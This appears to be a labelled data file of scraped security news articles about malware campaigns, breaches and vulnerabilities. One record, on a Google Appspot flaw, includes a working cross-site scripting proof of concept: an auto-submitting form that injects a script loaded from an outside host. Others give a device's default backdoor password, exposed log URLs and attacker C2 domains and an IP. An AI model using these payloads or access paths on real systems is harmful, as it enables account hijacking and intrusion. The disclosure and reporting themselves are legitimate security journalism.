Google is developing a user-friendly tool for individuals to implement the tough encryption standard known as Pretty Good Privacy (PGP) in an attempt to fully encrypt people's Gmail messages that can't even be read by Google itself, nor anyone else other than the users exchanging the emails.

PGP is an open source end-to-end encryption standard for almost 20 years, used to encrypt e-mail over the Internet providing cryptographic privacy and authentication for data communication, which makes it very difficult to break. But implementing PGP is too complicated for most of the people, therefore, the new tool was designed to make encryption easy.

Bringing PGP to the Gmail service will result in a much stronger end-to-end encryption for emails. End-to-End Chrome extension tool is based on OpenPGP and is still in the developing phase, but the company released an update about the progress of its project and moved the code for the project from its own Google Code repository to GitHub, so that researchers can review it.
""We've always believed strongly that End-To-End must be an open source project, and we think that using GitHub will allow us to work together even better with the community,"" Stephan Somogyi, Security and Privacy Product Manager for Google, wrote in a blog post on Tuesday.
The project includes contributions from Yahoo!'s security team and Alex Stamos, Yahoo's Chief Security Officer, is officially working on End-to-End. In August during the Black Hat USA conference in Las Vegas, Stamos announced that he would participate in the project.

End-to-End extension for Chrome is still in alpha but once it become more stable, the search engine giant will release it on the Chrome Web Store.
""We aren't yet making End-To-End available in the Chrome Web Store,"" Somogyi added. ""We don't feel it's as usable as it needs to be. Indeed, those looking through the source code will see references to our key server, and it should come as no surprise that we're working on one.""
Previously, when Google released the code for the new Chrome extension on Google Code repository and asked community to test and evaluate it, the company offered financial rewards of tens of thousands of dollars to find any security bugs under its Vulnerability Reward Program. The company thanked those who submitted bugs against the first alpha release and rewarded bounty for two vulnerabilities reported.

According to Somogyi, foremost challenge for engineers for now is to develop an adequate system to handle key management and distribution process.
""Key distribution and management is one of the hardest usability problems with cryptography-related products, and we won't release End-To-End in non-alpha form until we have a solution we're content with,"" Somogyi said.
The web giant believes that this End-to-End extension for Chrome will make end-to-end PGP encryption quicker and easier for people, so that they'll get an extra layer of security while communicating via emails. The extension could be released as ""alpha"" sometime next year.

",Vulnerability
Hackers Now Hiding ObliqueRAT Payload in Images to Evade Detection,https://thehackernews.com/2021/03/hackers-now-hiding-obliquerat-payload.html,"Cybercriminals are now deploying remote access Trojans (RATs) under the guise of seemingly innocuous images hosted on infected websites, once again highlighting how threat actors quickly change tactics when their attack methods are discovered and exposed publicly.
New research released by Cisco Talos reveals an active malware campaign targeting organizations in South Asia that utilize malicious Microsoft Office documents forged with macros to spread a RAT that goes by the name of ObliqueRAT.
First documented in February 2020, the malware has been linked to a threat actor tracked as Transparent Tribe (aka Operation C-Major, Mythic Leopard, or APT36), a highly prolific group allegedly of Pakistani origin known for its attacks against human rights activists in the country as well as military and government personnel in India.
While the ObliqueRAT modus operandi previously overlapped with another Transparent Tribe campaign in December 2019 to disseminate CrimsonRAT, the new wave of attacks differs in two crucial ways.
In addition to making use of a completely different macro code to download and deploy the RAT payload, the operators of the campaign have also updated the delivery mechanism by cloaking the malware in seemingly benign bitmap image files (.BMP files) on a network of adversary-controlled websites.
""Another instance of a maldoc uses a similar technique with the difference being that the payload hosted on the compromised website is a BMP image containing a ZIP file that contains ObliqueRAT payload,"" Talos researcher Asheer Malhotra said. ""The malicious macros are responsible for extracting the ZIP and subsequently the ObliqueRAT payload on the endpoint.""
Regardless of the infection chain, the goal is to trick victims into opening emails containing the weaponized documents, which, once opened, direct victims to the ObliqueRAT payload (version 6.3.5 as of November 2020) via malicious URLs and ultimately export sensitive data from the target system.
But it's not just the distribution chain that has received an upgrade. At least four different versions of ObliqueRAT have been discovered since its discovery, which Talos suspects are changes likely made in response to previous public disclosures, while also expanding on its information-stealing capabilities to include a screenshot and webcam recording features and execute arbitrary commands.
The use of steganography to deliver malicious payloads is not new, as is the abuse of hacked websites to host malware.
In June 2020, Magecart groups were previously found to hide web skimmer code in the EXIF metadata for a website's favicon image. Earlier this week, researchers from Sophos uncovered a Gootkit campaign that leverages Search Engine Optimization (SEO) poisoning in hopes of infecting users with malware by directing them to fake pages on legitimate but compromised websites.
But this technique of using poisoned documents to point users to malware hidden in image files presents a shift in infection capabilities with an aim to slip through without attracting too much scrutiny and stay under the radar.
""This new campaign is a typical example of how adversaries react to attack disclosures and evolve their infection chains to evade detections,"" the researchers said. ""Modifications in the ObliqueRAT payloads also highlight the usage of obfuscation techniques that can be used to evade traditional signature-based detection mechanisms.""

",Malware
Hacker Leaks Data From Mandiant (FireEye) Senior Security Analyst,https://thehackernews.com/2017/07/data-breach-mandiant-fireeye.html,"Reportedly, at least one senior cyber security analyst working with Mandiant, a Virginia-based cybersecurity firm owned by the FireEye, appears to have had its system compromised by hackers, exposing his sensitive information on the Internet.

On Sunday, an anonymous group of hackers posted some sensitive details allegedly belonged to Adi Peretz, a Senior Threat Intelligence Analyst at Mandiant, claiming they have had complete access to the company's internal networks since 2016.

The recent hack into Mandiant has been dubbed Operation #LeakTheAnalyst.

Further Leaks from Mandiant Might Appear
The hackers have leaked nearly 32 megabytes of data—both personal and professional—belonging to Peretz on Pastebin as proof, which suggests they have more Mandiant data that could be leaked in upcoming days.
""It was fun to be inside a giant company named ""Mandiant"" we enjoyed watching how they try to protect their clients and how their dumb analysts are trying to reverse engineer malware and stuff,"" the Pastebin post reads.
""This leak was just a glimpse of how deep we breached into Mandiant, we might publish more critical data in the future.""

Hackers dumped a treasure trove of sensitive information, which includes:

Peretz's Microsoft account login details
Peretz's Contacts
Screenshots of the Windows Find My Device Geolocator, linked to Peretz's Surface Pro laptop.
Client correspondence
Presentations
Contents of his email inbox
Several internal Mandiant and FireEye documents
Threat intelligence profiles for the Israeli Defence Force (IDF)
Besides leaks, the anonymous hackers also reportedly broke into Peretz's LinkedIn page and defaced it. His profile has since been deleted from the professional media network.

Although the motives behind the hack are not known at this moment, Mandiant has yet to comment on the incident.

In response to the leak, Mandiant's parent company, FireEye issued a statement, blaming the employee's social media accounts for the leak. The statement reads:
We are aware of reports that a Mandiant employee's social media accounts were compromised. We immediately began investigating this situation, and took steps to limit further exposure. Our investigation continues, but thus far, we have found no evidence FireEye or Mandiant systems were compromised.

",Data_Breaches
8 More Chrome Extensions Hijacked to Target 4.8 Million Users,https://thehackernews.com/2017/08/chrome-extension-hacking.html,"Google's Chrome web browser Extensions are under attack with a series of developers being hacked within last one month.

Almost two weeks ago, we reported how unknown attackers managed to compromise the Chrome Web Store account of a developer team and hijacked Copyfish extension, and then modified it to distribute spam correspondence to users.

Just two days after that incident, some unknown attackers then hijacked another popular extension 'Web Developer' and then updated it to directly inject advertisements into the web browser of over its 1 million users.

After Chris Pederick, the creator of 'Web Developer' Chrome extension that offers various web development tools to its users, reported to Proofpoint that his extension had been compromised, the security vendor analysed the issue and found further add-ons in the Chrome Store that had also been altered.

According to the latest report published by the researchers at Proofpoint on Monday, the expanded list of compromised Chrome Extensions are as below:

Chrometana (1.1.3)
Infinity New Tab (3.12.3)
CopyFish (2.8.5)
Web Paint (1.2.1)
Social Fixer (20.1.1)

Proofpoint researcher Kafeine also believes Chrome extensions TouchVPN and Betternet VPN were also compromised in the same way at the end of June.

In all the above cases, some unknown attackers first gained access to the developers' Google web accounts by sending out phishing emails with malicious links to steal account credentials.

Once the attackers gained access to the accounts, either they hijacked their respective extensions and then modified them to perform malicious tasks, or they add malicious Javascript code to them in an attempt to hijack traffic and expose users to fake ads and password theft in order to generate revenue.

In the case of the Copyfish extension, the attackers even moved the whole extension to one of its developers' accounts, preventing the software company from removing the infected extension from the Chrome store, even after being spotted compromised behaviour of the extension.
""Threat actors continue to look for new ways to drive traffic to affiliate programs and effectively surface malicious advertisements to users,"" researchers concluded. ""In the cases described here, they are leveraging compromised Chrome extensions to hijack traffic and substitute advertisements on victims' browsers.""
""Once they obtain developer credentials through emailed phishing campaigns, they can publish malicious versions of legitimate extensions.""
At this time, it is unclear who is behind the hijackings of Chrome Web extensions.

The best way to protect yourself from such attacks is always to be suspicious of uninvited documents sent over a phishing email and never click on links inside those documents unless verifying the source.

",Cyber_Attack
Researchers Uncover 'Process Ghosting' — A New Malware Evasion Technique,https://thehackernews.com/2021/06/researchers-uncover-process-ghosting.html,"Cybersecurity researchers have disclosed a new executable image tampering attack dubbed ""Process Ghosting"" that could be potentially abused by an attacker to circumvent protections and stealthily run malicious code on a Windows system.
""With this technique, an attacker can write a piece of malware to disk in such a way that it's difficult to scan or delete it — and where it then executes the deleted malware as though it were a regular file on disk,"" Elastic Security researcher Gabriel Landau said. ""This technique does not involve code injection, Process Hollowing, or Transactional NTFS (TxF).""
Process Ghosting expands on previously documented endpoint bypass methods such as Process Doppelgänging and Process Herpaderping, thereby enabling the veiled execution of malicious code that may evade anti-malware defenses and detection.
Process Doppelgänging, analogous to Process Hollowing, involves injecting arbitrary code in the address space of a legitimate application's live process that can then be executed from the trusted service. Process Herpaderping, first detailed last October, describes a method to obscure the behavior of a running process by modifying the executable on disk after the image has been mapped in memory.
The evasion works because of ""a gap between when a process is created and when security products are notified of its creation,"" giving malware developers a window to tamper with the executable before security products can scan it.
Process Ghosting goes a step further from Doppelgänging and Herpaderping by making it possible to run executables that have already been deleted. It takes advantage of the fact that Windows' attempts to prevent mapped executables from being modified or deleted only come into effect after the binary is mapped into an image section.
""This means that it is possible to create a file, mark it for deletion, map it to an image section, close the file handle to complete the deletion, then create a process from the now-fileless section,"" Landau explained. ""This is Process Ghosting.""
In a proof-of-concept (PoC) demo, the researchers detailed a scenario wherein Windows Defender attempts to open a malicious payload executable to scan it, but fails to do so because the file is in a delete-pending state, and then fails again as the file is already deleted, thus allowing it to be executed unimpeded.
Elastic Security said it reported the issue to Microsoft Security Response Center (MSRC) in May 2021, following which the Windows maker stated the issue ""does not meet their bar for servicing,"" echoing a similar response when Process Herpaderping was responsibly disclosed to MSRC in July 2020.
Microsoft, for its part, has since released an updated version of its Sysinternals Suite earlier this January with an improved System Monitor (aka Sysmon) utility to help detect Process Herpaderping and Process Hollowing attacks.
As a result, Sysmon versions 13.00 (and later) can now generate and log ""Event ID 25"" when a piece of malware tampers with a legitimate process and if a process image is changed from a different process, with Microsoft noting that the event is triggered ""when the mapped image of a process doesn't match the on-disk image file, or the image file is locked for exclusive access.""

",Malware
iPhone Hacking Campaign Using MDM Software Is Broader Than Previously Known,https://thehackernews.com/2018/07/mdm-software-hack-iphone.html,"India-linked highly targeted mobile malware campaign, first unveiled two weeks ago, has been found to be part of a broader campaign targeting multiple platforms, including windows devices and possibly Android as well.

As reported in our previous article, earlier this month researchers at Talos threat intelligence unit discovered a group of Indian hackers abusing mobile device management (MDM) service to hijack and spy on a few targeted iPhone users in India.

Operating since August 2015, the attackers have been found abusing MDM service to remotely install malicious versions of legitimate apps, including Telegram, WhatsApp, and PrayTime, onto targeted iPhones.

These modified apps have been designed to secretly spy on iOS users, and steal their real-time location, SMS, contacts, photos and private messages from third-party chatting applications.

During their ongoing investigation, Talos researchers identified a new MDM infrastructure and several malicious binaries – designed to target victims running Microsoft Windows operating systems – hosted on the same infrastructure used in previous campaigns.
Ios-update-whatsapp[.]com (new)
Wpitcher[.]com
Ios-certificate-update.com
""We know that the MDM and the Windows services were up and running on the same C2 server in May 2018,"" researchers said in a blog post published today.

""Some of the C2 servers are still up and running at this time. The Apache setup is very specific, and perfectly matched the Apache setup of the malicious IPA apps.""

Possible Connections with ""Bahamut Hacking Group""
Besides this, researchers also found some potential similarities that link this campaign with an old hacking group, dubbed ""Bahamut,"" an advanced threat actor who was previously targeting Android devices using similar MDM technique as used in the latest iOS malware campaign.

The newly identified MDM infrastructure, which was created in January 2018, and used from January to March of this year, targeted two Indian devices and one located in Qatar with a British phone number.

According to the researchers, Bahamut also targeted similar Qatar-based individuals during their Android malware campaign, as detailed by Bellingcat in a blog post.
""Bahamut shared a domain name with one of the malicious iOS applications mentioned in our previous post,"" researchers said.

""The new MDM platform we identified has similar victimology with Middle Eastern targets, namely Qatar, using a U.K. mobile number issued from LycaMobile. Bahamut targeted similar Qatar-based individuals during their campaign.""
Apart from distributing modified Telegram and WhatsApp apps with malicious functionalities, the newly-identified server also distributes modified versions of Safari browser and IMO video chatting app to steal more personal information on victims.

Attackers Using Malicious Safari Browser to Steal Login Credentials
According to the researchers, the malicious Safari browser has been pre-configured to automatically exfiltrate the username and the password of the users for a variety of other web services, Yahoo, Rediff, Amazon, Google, Reddit, Baidu, ProtonMail, Zoho, Tutanota and more.
""The malware continuously monitors a web page, seeking out the HTML form fields that hold the username and password as the user types them in to steal credentials. The names of the inspected HTML fields are embedded into the app alongside the domain names,"" the researchers said.
The malicious browser contains three malicious plugins—Add Bookmark, Add To Favourites, and Add to Reading List—that just like the other apps, send stolen data to a remote attacker-controlled server.

At this time, it's unclear who is behind the campaign, who was targeted in the campaign, and what were the motives behind the attack, but the technical elements suggest the attackers are operating from India, and are well-funded.

Researchers said that those infected with this kind of malware need to enroll their devices, which means ""they should be on the lookout at all times to avoid accidental enrollment.""

The best way to avoid being a victim to such attacks is to always download apps from official app store.

",Malware
New SideWalk Backdoor Targets U.S.-based Computer Retail Business,https://thehackernews.com/2021/08/new-sidewalk-backdoor-targets-us-based.html,"A computer retail company based in the U.S. was the target of a previously undiscovered implant called SideWalk as part of a recent campaign undertaken by a Chinese advanced persistent threat group primarily known for singling out entities in East and Southeast Asia.
Slovak cybersecurity firm ESET attributed the malware to an advanced persistent threat it tracks under the moniker SparklingGoblin, an adversary believed to be connected to the Winnti umbrella group, noting its similarities to another backdoor dubbed Crosswalk that was put to use by the same threat actor in 2019.
""SideWalk is a modular backdoor that can dynamically load additional modules sent from its C&C [command-and-control] server, makes use of Google Docs as a dead drop resolver, and Cloudflare workers as a C&C server,"" ESET researchers Thibaut Passilly and Mathieu Tartare said in a report published Tuesday. ""It can also properly handle communication behind a proxy.""
Since first emerging on the threat landscape in 2019, SparklingGoblin has been linked to several attacks aimed at Hong Kong universities using backdoors such as Spyder and ShadowPad, the latter of which has become a preferred malware of choice among multiple Chinese threat clusters in recent years.
Over the past year, the collective has hit a broad range of organizations and verticals around the world, with a particular focus on the academic institutions located in Bahrain, Canada, Georgia, India, Macao, Singapore, South Korea, Taiwan, and the U.S. Other targeted entities include media companies, religious organizations, e-commerce platforms, computer and electronics manufacturers, and local governments.
SideWalk is characterized as an encrypted shellcode, which is deployed via a .NET loader that takes care of ""reading the encrypted shellcode from disk, decrypting it and injecting it into a legitimate process using the process hollowing technique."" The next phase of the infection commences with SideWalk establishing communications with the C&C server, with the malware retrieving the encrypted IP address from a Google Docs document.
""The decrypted IP address is 80.85.155[.]80. That C&C server uses a self-signed certificate for the facebookint[.]com domain. This domain has been attributed to BARIUM by Microsoft, which partially overlaps with what we define as Winnti Group. As this IP address is not the first one to be used by the malware, it is considered to be the fallback one,"" the researchers said.
Besides using HTTPS protocol for C&C communications, SideWalk is designed to load arbitrary plugins sent from the server, amass information about running processes, and exfiltrate the results back to the remote server.
""SideWalk is a previously undocumented backdoor used by the SparklingGoblin APT group. It was most likely produced by the same developers as those behind CROSSWALK, with which it shares many design structures and implementation details,"" the researchers concluded.

",Cyber_Attack
Critical Bugs and Backdoor Found in GeoVision's Fingerprint and Card Scanners,https://thehackernews.com/2020/06/geovision-scanner-vulnerabilities.html,"GeoVision, a Taiwanese manufacturer of video surveillance systems and IP cameras, recently patched three of the four critical flaws impacting its card and fingerprint scanners that could've potentially allowed attackers to intercept network traffic and stage man-in-the-middle attacks.

In a report shared exclusively with The Hacker News, enterprise security firm Acronis said it discovered the vulnerabilities last year following a routine security audit of a Singapore-based major retailer.

""Malicious attackers can establish persistence on the network and spy on internal users, steal data — without ever getting detected,"" Acronis said. ""They can reuse your fingerprint data to enter your home and/or personal devices, and photos can be easily reused by malicious actors to perpetrate identity theft based on biometric data.""

In all, the flaws affect at least 6 device families, with over 2,500 vulnerable devices discovered online across Brazil, US, Germany, Taiwan, and Japan, aside from thousands of other devices capable of being remotely compromised.

The first issue concerns a previously undocumented root password that permits an attacker backdoor access to a device by simply using the default password (""admin"") and remotely log in to the vulnerable device (e.g., https://ip.of.the.device/isshd.htm).

A second flaw involves the use of hardcoded shared cryptographic private keys when authenticating via SSH, while a third vulnerability makes it possible to access system logs on the device (e.g., at https://ip.of.the.device/messages.txt and at https://ip.of.the.device/messages.old.txt) without any authentication.


Lastly, there exists a buffer overflow vulnerability in the firmware impacting GeoVision's fingerprint readers that allows attackers to run unauthorized code on the devices. It requires no prior authentication. Even more troublingly, it has a CVSS rating of 10, making it a critical flaw.

Acronis said it initially approached GeoVision last August, subsequently twice in September and December, in addition to contacting SingCERT with their findings. But it wasn't until early this month that GeoVision issued fixes for three of the flaws (version 1.22) while leaving the buffer overflow vulnerability unpatched.

The flaws were also acknowledged by Taiwan's Computer Emergency Response Team (TWCERT), which published advisories for the three bugs — CVE-2020-3928, CVE-2020-3929, and CVE-2020-3930 — confirming the firmware fixes and the availability of the new version.

Besides this, without disclosing technical information on the fourth critical remote code execution flaw that the company left unpatched, we can mention that it could let attackers leverage a vulnerable parameter to overwrite memory structures responsible for memory management.

The flaw eventually overwrites the pointers in particular structures, allowing attackers to redirect the program's execution flow to their own malicious code and perform different commands.

We have reached out to GeoVision to ask for their comment on the disclosures, but we did not receive a response before this article's publication.

""Once the attacker gets full control over the device, he/she is free to install their own malicious firmware — after which it will be almost impossible to evict them from the network,"" Acronis CISO CISO Kevin Reed and Security Researcher Alex Koshelev said.

""It's quite surreal seeing some vendors not rushing to fix critical vulnerabilities — in addition to the low quality of the initial source code, the presence of back doors is concerning. It shows that IoT security is flawed, and each company must understand that using such devices can leave them exposed to prolonged unmitigated risks.""

",Vulnerability
Fake Bad Piggies Game hijack Google Chrome browser,https://thehackernews.com/2012/10/fake-bad-piggies-game-hijack-google.html,"Rovio's latest game, Bad Piggies, is now available via Google Play and the App Store, and as a PC and Mac download, but it has not yet made its way to the Chrome Web Store. These pigs can indeed fly - ""Bad Piggies,"" the spinoff to the monster hit game ""Angry Birds,"" set a new record by soaring to the top of the charts just three hours after release.

Scammers have quickly taken advantage of this, introducing bogus versions of Bad Piggies into the Chrome Web Store that exist primarily to serve up in-browser advertisements thanks to a few plug-in permissions.

Barracuda Networks' lab today discovered a knock-off of the new and wildly popular ""Bad Piggies"" game which includes a phishing plug-in that may have injected an aggressive adware program into more than 82,000 Chrome browsers.

The lack of a free online version for Bad Piggies left space for others to capitalize on the instant success of the game. Just days after the game launched, Jason Ding, a research scientist from Barracuda Networks, found seven free versions of the games in the Google Chrome web store.

Jason Ding notes that all of these games are being distributed by the same site: playook.info. After installation, the games insert their own advertisements into popular websites. Barracuda found that after deploying the games in a test environment, they inserted advertising from playook.com into sites like Myspace, eBay, IMDB, Yahoo and MSN among dozens of other sites on the Chrome browser.

""If you have already installed, uninstall them immediately and change your passwords on other websites if possible,"" Barracuda said. The firm also warned users to be wary of plugins that requires a lot of suspicious permissions.

",Malware
Hacking Google users with Google's GooPass phishing attack,https://thehackernews.com/2013/03/hacking-google-users-with-googles.html,"Google Drive is the new home for Google Docs, that users can access everywhere for Storing files safely. In a recent demonstration hacker successfully performed an attack on Google Docs to trick users to grab their Facebook, Gmail, Yahoo credentials with Credit Card Information.

Security researcher Christy Philip Mathew came up with combination of Clickjacking and CSRF vulnerabilities in Google's Docs that can allow a hacker to create a document in victim's Drive for further phishing attack.

For those who are not aware about Clickjacking, It is a technique where an attacker tricks a user into performing certain actions on a website by hiding clickable elements inside an invisible iframe.
He explain how this technique can be executed to pwn a Google user to steal victim's all type of credentials with a phishing attack. Here attacker need to send a Malicious URL to the victim, where victim needs to interact with some buttons only.

Vulnerability allow hacker to trick Google user to create an document in victim's drive, which is actually owned by attacker and the victim. To perform a successful phishing attack, an attacker can carefully craft that document maliciously.

POC uploaded here and Demonstration Video as shown below:

After analyzing the possible threats of this vulnerability, I prepare an example for THN readers, where attacker can rename the document to something ""Google GooPass"" (imaginary service for storing passwords and important information secretly in Google drive) and crafted a simple design that can phish users to enter their Credit card information, Google, Facebook username password etc, as shown below:


Victim can be led to believe that it's a Google default file or Service to save all type of personal information secretly at one location. Because attacker and victim, both are the owner of this new file, where attacker can make the document public for further access after removing himself from ownership of that document.

At the end, victim is only owner of the document (which is now public) and if phishing attempt works, hacker will be able to see all updates remotely, anytime - anywhere!

Note :
Vulnerability is not fixed yet, we urge Google to fix this as soon as possible to assure maximum security to Google users.
There is no Google service called 'Google GooPass', the term is just used to trick victim for phishing purpose.

",Vulnerability
Cross Site Scripting Vulnerability at Google Appspot,https://thehackernews.com/2011/08/cross-site-scripting-vulnerability-at.html,"Cross Site Scripting Vulnerability at Google Appspot
The Google Appspot ""ClickDesk"" login page is vulnerable to Cross Site Scripting attack. Cross Site scripting attack is a critical issue in web application. When an attacker gets a user's browser to execute his/her XSS code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read (keylogging), modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting.

The vulnerability can easily be amplified by publicly available tools like Cross Site Scripting framework (XSSF), Cross Site Scripting harvest perl (XSS-Harvest) and so on.
Proof of concept:
The following proof-of concept sample will do a HTTP POST to trigger the XSS vulnerability from ""XSS cheatsheet from ha.ckers.org"" site. In real hacking situation, the injection source url will be hosted on some compromised web servers.

Copy the following code and save it as any .htm or html filename. Open it any browser to trigger it automatically.
*********

<script>
document.body.innerHTML += '<form id=""a"" action=""https://contactuswidget.appspot.com/login.jsp?domain=lc"" method=""post"">


<input type=""hidden"" name=""command"" value=""login""><input type=""hidden"" id=""username"" name=""username"" value=""<script src=http:\/\/ha.ckers.org\/xss.jpg><\/script>""><input type=""hidden"" id=""password"" name=""password"" value=""aaaa""></form>
';
document.getElementById(""a"").submit();
</script>

*********
Submitted by ""Andrew Chong"", codename ""Andrew Chong""
Related Post : Iframe Vulnerability in Google App Engine (Appspot)

",Vulnerability
XSS Vulnerability on AOL Energy website,https://thehackernews.com/2011/11/xss-vulnerability-on-aol-energy-website.html,"XSS Vulnerability on AOL Energy website

A non-persistent Cross Site Scripting (XSS) vulnerability discovered on AOL Energy website. The similar Vulnerability is claimed by few other guys on some forums too. No clue that who found it first, But THN got update from Vansh & Vaibhuv from India.

",Vulnerability
"Radio Stations Hacked to Play ""F**k Donald Trump"" on Repeat Across the Country",https://thehackernews.com/2017/02/radio-station-trump-hack.html,"It's just two weeks into the Trump presidency, but his decisions have caused utter chaos around the country.

One such order signed by the president was banning both refugees and visa holders from seven Muslim-majority countries (Iraq, Iran, Libya, Yemen, Somalia, Syria, and Sudan) from entering the United States, resulting in unexpectedly arrest of some travelers at airports.

Now, it seems like some anti-Trump protesters have publically declared their fight against the president by exploiting a known flaw in low power FM (LPFM) radio transmitters to play a song the radio stations didn't intend to broadcast.

Radio stations in South Carolina, Indiana, Texas, Tennessee and Kentucky, were hacked recently to broadcast the Bompton-based rapper YG and Nipsey Hussle's anti-Trump song ""Fuck Donald Trump,"" which was already a radio hit in some parts of the country last year, several sources report.

The song was repeatedly played on Monday night, according to the RadioInsight, and the news of the incident began emerging shortly after Trump's inauguration on January 20, eight days before hackers hacked 70 percent of the police CCTV cameras in Washington DC.

Hackers gained access to the radio stations by exploiting known vulnerabilities in Barix Exstreamer devices which can decode audio file formats and send them along for LPFM transmission.

Over a dozen radio stations experienced the hack in recent weeks, though some of them shut down their airwaves as quickly as possible in an attempt to avoid playing the inflammatory ""FDT (Fuck Donald Trump)"" song on loop.

The hackers or group of hackers behind the cyber attack is still unknown. The affected stations so far include:
105.9 WFBS-LP Salem, S.C.
Radio 810 WMGC/96.7 W244CW Murfreesboro TN
101.9 Pirate Seattle
100.9 WCHQ-LP Louisville
100.5 KCGF-LP San Angelo TX
However, there are unconfirmed reports from radio stations in California, Indiana, and Washington State that are believed to be affected as well.

Has any of the radio stations you listen to been hit by the hackers? Let us know in the comments!

",Cyber_Attack
Bitcoin Cloud Mining Service Hacked; Database On Sale for Just 1 Bitcoin,https://thehackernews.com/2015/07/bitcoin-mining-server.html,"Bitcoin Cloud Mining service Cloudminr.io has been hacked and its whole users database is on sale for 1 Bitcoin.

The unknown hackers have successfully taken full control of the website's server and defaced the homepage of the website.

Users visiting the website are greeted with a defaced homepage showing the partial database of around 1000 clients including their usernames and unencrypted passwords in completely plain text format.

This clearly indicates that the company is not following the best security practices to secure their users private data as the passwords were not even hashed before storing into the database.

Hackers offering around 80,000 users database for 1BTC
The database of 1000 users shown on the website homepage is just a sample given by the hackers while they have compromised around 80,000 users database in total from the cloud mining service.

The hackers are offering the entire database of thousands of users for the just 1BTC, which could be a goldmine for cyber-criminals and spammers.

So far, there is not any details on whether Bitcoin wallets or simply parts of the website server were compromised.

However, users of Cloudminr.io are recommended to change their passwords at any other service that uses the same combination of username and password as their Cloudminr account.

",Data_Breaches
"SandroRAT — Android Malware that Disguises itself as ""Kaspersky Mobile Security"" App",https://thehackernews.com/2014/08/sandrorat-android-malware-that.html,"Researchers have warned users of Android devices to avoid app downloads from particularly unauthorized sources, since a new and sophisticated piece of malware is targeting Android users through phishing emails.

The malware, dubbed SandroRAT, is currently being used by cybercriminals to target Android users in Poland via a widely spread email spam campaign that delivers a new variant of an Android remote access tool (RAT).

The emails masquerade itself as a bank alert that warns users of the malware infection in their mobile device and offers a fake mobile security solution in order to get rid of the malware infection.

The mobile security solution poses as a Kaspersky Mobile Security, but in real, it is a version of SandroRAT, a remote access tool devised for Android devices, whose source code has been put on sale on underground Hack Forums since December last year.

A mobile malware researcher at McAfee, Carlos Castillo, detailed the new variant of Android remote access trojan over the weekend in a blog post. According to the researcher, the package spread via phishing campaign is capable of executing several malicious commands on the infected devices.

SandroRAT gives the attacker an unrestricted access to sensitive details such as SMS messages, contact lists, call logs, browser history (including banking credentials), and GPS location data stored in Android devices and store all the data in an ""adaptive multi-rate file on the SD card"" to later upload them to a remote command and control (C&C) server.
""Spam campaigns (via SMS or email) are becoming a very popular way to distribute Android malware, which can steal personal information or even obtain complete control of a device with a tools like SandroRat,"" wrote Carlos Castillo. ""This attack gains credence with the appearance of a bank offering security solutions against banking malware, a typical behavior of legitimate banks.""
This new version of SandroRAT also has a self-update feature in it and it can install additional malware through user prompts for such actions. The malware gives the attacker full control over the messages, who can intercept, block and steal incoming messages, as well as insert and delete them.

It also appears that the attacker can send multimedia messages with specific parameters sent by the C&C server and can also record nearby sounds using the device's mic.

Castillo also notes that the SandroRAT variant of malware had decryption capabilities for older releases of Whatsapp messaging app. But, the users running the latest version of Whatsapp in their Android devices are not vulnerable because the developers adopted a stronger encryption scheme.
""This decryption routine will not work with WhatsApp chats encrypted by the latest version of the application because the encryption scheme (crypt7) has been updated to make it stronger (using a unique server salt),"" Castillo explained. ""WhatsApp users should update the app to the latest version,"" he advised.
Users are advised to avoid application downloads from unauthorized sources, particularly when the app download link is send through an email. Good practice is to always prefer downloading apps from the Google Play Store or other trusted sources. Stay Safe! Stay Tuned!

",Malware
"""4chan Hacked"", Most Popular Image-Bulletin Board Compromised",https://thehackernews.com/2014/04/4chan-Hacked-Image-Bulletin-Board.html,"The founder of 4chan, Christopher Poole, aka ""moot"" has confirmed few hours ago, in a blog post that the popular image-based bulletin board was hacked.

The attacker gained access to the administrative functions and successfully hacked into one of 4chan's database by exploiting a website's software vulnerability last week. The motive behind the hack was to expose the posting habits of a specific user the attacker didn't like, moot wrote.

It is believed that the software vulnerability allowed the attacker to hack into only the image-board moderation panels, and some tables in the 4chan back-end database. According to the blog post, the way hacker extracted the information from its database, 4chan knows the ""detailed logs of what was accessed"", which indicate that the ""primarily moderator account names"" and their ""credentials"" were targeted and compromised by the hacker.
""Due to the way the intruder extracted information from the database, we have detailed logs of what was accessed. The logs indicate that primarily moderator account names and credentials were targeted,"" reads the blog post.
The hacker was able to access the Pass credentials of three 4chan Pass (paid account without CAPTCHAs system) users, who have been notified by the company shortly after the discovery of the attack and offered refunds along with the lifetime Passes.

The founder of the 4chan assured its users that their financial information has not been compromised in the attack as 4chan doesn't process any payment information and all the payment information is ""processed securely"" by the Stripe.

After 4chan aware of this software vulnerability exploited by the hacker, it was patched quickly and 4chan assured its users that they continue to review its software and systems to prevent future attacks and breaches.

A week ago, Moderators of Social-sharing website Reddit were under attack after being accused of censoring posted links containing words like ""National Security Agency,"" ""Edward Snowden"" and even ""Bitcoin"" on the website's subreddit r/technology.

The Reddit moderators have lost their focus of what they were there to do. Their job is to moderate effectively, but this secret censorship is a ""disaster"" as it lost the transparency between the user and the service.

4chan apologized for the inconvenience caused to its users, but this is not first time hacker targeted 4chan. Back in June 2012, the hacker UGNazi changed the DNS for 4chan and redirected its visitors to UGNazis Twitter account.

",Vulnerability
Just Opening A Document in LibreOffice Can Hack Your Computer (Unpatched),https://thehackernews.com/2019/07/libreoffice-vulnerability.html,"Are you using LibreOffice?

You should be extra careful about what document files you open using the LibreOffice software over the next few days.

That's because LibreOffice contains a severe unpatched code execution vulnerability that could sneak malware into your system as soon as you open a maliciously-crafted document file.

LibreOffice is one of the most popular and open source alternatives to Microsoft Office suite and is available for Windows, Linux and macOS systems.

Earlier this month, LibreOffice released the latest version 6.2.5 of its software that addresses two severe vulnerabilities (CVE-2019-9848 and CVE-2019-9849), but the patch for the former has now been bypassed, security researcher Alex Inführ claims.

Though Inführ has not yet disclosed details of the technique that allowed him to bypass the patch, the impact of this vulnerability remains the same, as explained below.

1.) CVE-2019-9848: This vulnerability, which still exists in the latest version, resides in LibreLogo, a programmable turtle vector graphics script that ships by default with LibreOffice.

LibreLogo allows users to specify pre-installed scripts in a document that can be executed on various events such as mouse-over.
Discovered by Nils Emmerich, the flaw could allow an attacker to craft a malicious document that can silently execute arbitrary python commands without displaying any warning to a targeted user.

""The big problem here is that the code is not translated well and just supplying python code as the script code often results in the same code after translation,"" Emmerich said.

""Using forms and OnFocus event, it is even possible to get code execution when the document is opened, without the need for a mouse-over event.""

